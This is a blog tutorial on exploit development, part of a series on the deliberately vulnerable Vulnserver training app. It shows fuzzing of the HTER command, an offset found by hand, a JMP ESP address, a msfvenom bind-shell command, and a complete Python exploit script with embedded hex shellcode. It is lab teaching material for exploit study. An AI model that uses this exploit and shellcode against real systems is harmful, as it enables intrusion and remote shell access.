[ExpDev] Vulnserver — Part 5

Vulnserver — Part 5 (HTER — EIP Overwrite)

This will be the 5th vulnserver exploit series. We will be fuzzing and exploiting the vulnerable command HTER this time. We will identify a crash point with an EIP overwrite. And then we need to identify the restricted characters to the HTER command exploit. Then, we will leverage an old-fashion of manual approach to identify the offset. Finally, we will introduce our shellcode to finally get a bind shell. Let’s get started!

Lab Environment

  • OS: Windows 7 (x86)
  • Debugger: OllyDbg, WinDbg (mona.py)
  • Fuzzer: boofuzz
  • Target: Vulnserver — HTER command (EIP Overwrite + Restricted Characters)

*Detailed lab setup guide can be found here

  • [ExpDev] Vulnserver — Part 1.”

Initial Recon

Let’s quickly check what the HTER command does.

HTER Command

Fuzzing

Since we have the previously created fuzzing script from the Part 1, we can just make small changes in that script for our fuzzer for the HTER command.

Source: fuzz_hter.py by bigb0ss

As usual, let’s attach the vulnserver with the OllyDbg. Then, run our fuzzer.

### Running the Fuzzer
C:\Users\bigb0ss\Desktop\scripts\HTER>python fuzz_hter.py

A few seconds after running our fuzzing script, the vulnserver was crashed. From the crash in OllyDbg, we can clearly see that the HTER command and the certain number of the characters caused the crash.

Initial Crash

Again, in order to identify how many characters caused the initial crash, we need to analyze the results from the Boofuzz. After counting the approximate characters of “C” \x43 in the OllyDbg at the crash time and looking at the “DB Browser” we can choose 2053 bytes for the initial crash.

DB Browser Analysis

Exploit

Let’s create a python script to reproduce the crash.

Source: crash_hter.py by bigb0ss

Start the vulnserver and attach it to OllyDbg. Then, run the crash_hter.py script. We successfully reproduced the crash with our PoC script.

Reproducing the Crash

One interesting to note here is that the character “A” (\x41) that we sent was still displayed as “AAAAAAAA” on the stack instead of “41414141.” This might indicate that the HTER command does something different for how it accepts characters.

Our next step is to typically find an offset to control the EIP at the crash time. Let’s first create 2053 unique characters. We will use the WinDbg and mona.py’s pattern_create module to do this.

Once running the WinDbg, type the following command to load the python module and create the patterns.

### Loading Python Extension of WinDbg
.load pykd.pyd
### Mona.py Pattern_create
!py mona pattern_create 2053
Creating cyclic pattern of 2053 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3C
[+] Preparing output file 'pattern.txt'

Let’s update our PoC script with the created patterns and run the script against the vulnserver again.

Pattern_create Attempt

However, we don’t get a crash this time. Looks like we have some restricted/bad characters within the pattern created. We need to dig-in to identify which characters are restricted.

I did some trial-and-error based analysis on what characters are allowed to the HTER command. And here are things I have identified:

  • After the “HTER ” command, it will strip the command as well as the next 1 byte of the character. For example, If I send “HTER 12345,” we will only see “2345.”
  • It also only accepts hexdecimal (= 0123456789abcdef). So for example, if we are trying to crash the application via sending 2053 of “G”s, it wouldn’t work. That was why the characters created by pattern_create didn’t work earlier.

From our analysis on the restricted characters, the pattern_create wouldn’t be useful in order to find the offset value. Unfortunately, we might need to use an old-fashion of manual approach to find the offset.

Let’s update our PoC script for the manual approach of identifying the offset.

EIP = BBBBBBBB

The EIP is overwritten by “B”s, meaning our offset will reside somewhere in after the 1026 character set. Let’s continue on our process.

EIP = CCCCCCCC

The EIP is now overwritten by “C”s, meaning our offset will reside somewhere in after the 1539 character set. Let’s continue on our process.

The EIP is now overwritten by “C”s, meaning our offset will reside somewhere in after the 1795 character set. Let’s continue on our process.

The EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 1923 character set. Let’s continue on our process.

The EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 1987 character set. Let’s continue on our process.

The EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 2019 character set. Let’s continue on our process.

The EIP is again overwritten by “C”s, meaning our offset will reside somewhere in after the 2035 character set. Let’s continue on our process.

We now have some feasible results to identify the offset. The EIP is now overwritten by “BBBCCCCC.” If we do a simple calculation to subtract 3 “B”s from 8 and add 6 to 2035, we can find the offset as 2040. Let’s update our PoC script and confirm the found offset value.

Source: offset_hter.py by bigb0ss
Confirming the Offset

The offset was indeed correct. Now, we are all set to control the EIP at the crash time.

As an usual EIP overwrite BOF exploit, we now need to find a JMP ESP instruction within the application.

Let’s attach the vulnserver to WinDbg this time so that we can use the mona.py to find the JMP ESP within the application’s dll. We will use -cpb flag again to exclude any addresses containing \x00. (By default, it also searches in Non-ASLR or Non-Rebase modules.)

### Loading Python Extension of WinDbg
.load pykd.pyd
### Mona.py Finding JMP ESP
!py mona jmp -r esp -cpb '\x00'
Finding JMP ESP (0x62501205)

Let’s use one of the addresses, 0x62501205 for the JMP ESP address.

Now let’s use msfvenom to create our bind shell shellcode. But now instead of using the python format, let’s change it to hex format.

### msfvenom Bind Shell
$ msfvenom -p windows/shell_bind_tcp LPORT=443 -b '\x00' EXITFUNC=thread -f hex
(*I used a x86 Kali Linux to create the shellcode)[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of hex file: 710 bytes
dbd5d97424f4bb19c0e4a75829c9b15331581783c0040341d306528d3b449d6dbc2917888d6943d9be59078f3211453bc057424c61ddb463724e84e2f08dd9c4c95d2c050d83dd57c6cf7047638548ec3f0bc911f72af8848374da27470d533f84282db47ec6ac1c4f2702617fda5aa6b80529debab82a25c066bebd62ec18199221feea988e74b4bc1158cfb99a5f1f48d87bbb10bae29afc6d1afc5ed1be777206b3da1bebfee4db638897e92c223f42a4ecb8a59f49565820aa7f9f74fa1736f591e7b7200fef1e9b3212e04bf3bc8981fce3aaa9d68c4354d9b328d13fd95eb4e8759de320e2dec1188497039eab2706883bac450c5ab343240b2419a57ed41eece8758c6be8f0ad23bf55033a55483a944b91dadfcf4e1fe1ce031bc5c0dda441b4b1f21f6274add1dc2e02b888b7687bceb7a40d2e09114851a6f55c2ada65a2e15e854123ab2edca61633df1d544a5c9725a97cd220f53a0f5966af2fce87fa

And let’s finalize our PoC script with the created payload. Also, add some Nopsled (\x90) before the payload so that our shellcode can be added to the stack properly.

### Final_hter.py (Source by bigb0ss)import socket
import os
import sys
vuln_command = "HTER A"
crash = 2052
offset = 2040
eip = "05125062" # JMP ESP 0x62501205
shellcode = (
"dbd5d97424f4bb19c0e4a75829c9b15331581783c0040341d3"
"06528d3b449d6dbc2917888d6943d9be59078f3211453bc057"
"424c61ddb463724e84e2f08dd9c4c95d2c050d83dd57c6cf70"
"47638548ec3f0bc911f72af8848374da27470d533f84282db4"
"7ec6ac1c4f2702617fda5aa6b80529debab82a25c066bebd62"
"ec18199221feea988e74b4bc1158cfb99a5f1f48d87bbb10ba"
"e29afc6d1afc5ed1be777206b3da1bebfee4db638897e92c22"
"3f42a4ecb8a59f49565820aa7f9f74fa1736f591e7b7200fef"
"1e9b3212e04bf3bc8981fce3aaa9d68c4354d9b328d13fd95e"
"b4e8759de320e2dec1188497039eab2706883bac450c5ab343"
"240b2419a57ed41eece8758c6be8f0ad23bf55033a55483a94"
"4b91dadfcf4e1fe1ce031bc5c0dda441b4b1f21f6274add1dc"
"2e02b888b7687bceb7a40d2e09114851a6f55c2ada65a2e15e"
"854123ab2edca61633df1d544a5c9725a97cd220f53a0f5966"
"af2fce87fa")
payload = ""
payload += vuln_command
payload += "A" * offset
payload += eip
payload += "90" * 10
payload += shellcode
payload += "C" * 10
print "[+] Sending buffer (Size: %d)" % len(payload)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9999))
print(s.recv(1024))
s.send(payload)
s.close()

Once we run the final_hter.py script, we can successfully open up the bind shell on the port 443.

Successful Bins Shell

Conclusion

For the recap:

  1. We fuzzed the vulnserver HTER command
  2. Found the entry point with vulnerable command of HTER
  3. Found the restricted characters (Only hexdecimal allowed)
  4. Found the offset to control over EIP overwrite with manual approach
  5. Found the JMP ESP address
  6. Introduced hex format of the bind shellcode

Hope you also learned something from it. Thanks for reading!

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store